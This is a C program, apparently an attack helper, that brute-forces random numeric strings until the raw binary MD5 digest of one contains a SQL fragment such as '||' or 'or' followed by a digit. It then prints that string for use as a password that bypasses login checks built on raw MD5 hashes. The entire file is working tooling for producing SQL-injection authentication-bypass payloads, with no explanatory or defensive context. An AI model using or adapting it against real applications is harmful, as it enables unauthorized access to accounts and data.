find.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#include <openssl/evp.h>

static void calculate_md5_of(const void *content, ssize_t len){

//   print_as_hex 
}

int main(void) {
  const char *file_name = "t1.txt";
  struct stat stat_buf;
  int i_rval = 0;
  int in_fd = -1;
  off_t size_of_file;
  ssize_t read_bytes;
  int r,r1,r2,r3;
  char rbuf[100];

  EVP_MD_CTX mdctx;
  unsigned char md_value[EVP_MAX_MD_SIZE];
  unsigned int md_len;
  char *sub;

  srand(time(0));

  int i = 0;
  while(1) {
    i += 1;
    if(i % 100000 == 0) {
      printf("i = %d\n", i);
    }
    r = rand();
    r1 = rand();
    r2 = rand();
    r3 = rand();
    sprintf(rbuf, "%d%d%d%d", r, r1, r2, r3);
    EVP_DigestInit(&mdctx, EVP_md5());
    EVP_DigestUpdate(&mdctx, rbuf, (size_t) strlen(rbuf));
    EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
    EVP_MD_CTX_cleanup(&mdctx);
    sub = strstr(md_value, "'||'");
    if(sub == NULL) sub = strcasestr(md_value, "'or'");
   if(sub != NULL && sub[4] > '0' && sub[4] <= '9') {
   //if(strstr(md_value, "'") == md_value) {
     printf("content=>>>%s<<<\n", (char *)rbuf);
     printf("i = %d\n", i);
     for(i = 0; i < md_len; i++) {
       printf("%02x", md_value[i]);

     }
     printf("\n");
     printf(">>>%s<<<\n", md_value);
     exit(0);
    }
    //calculate_md5_of(rbuf, strlen(rbuf));
  }
  return 0;
}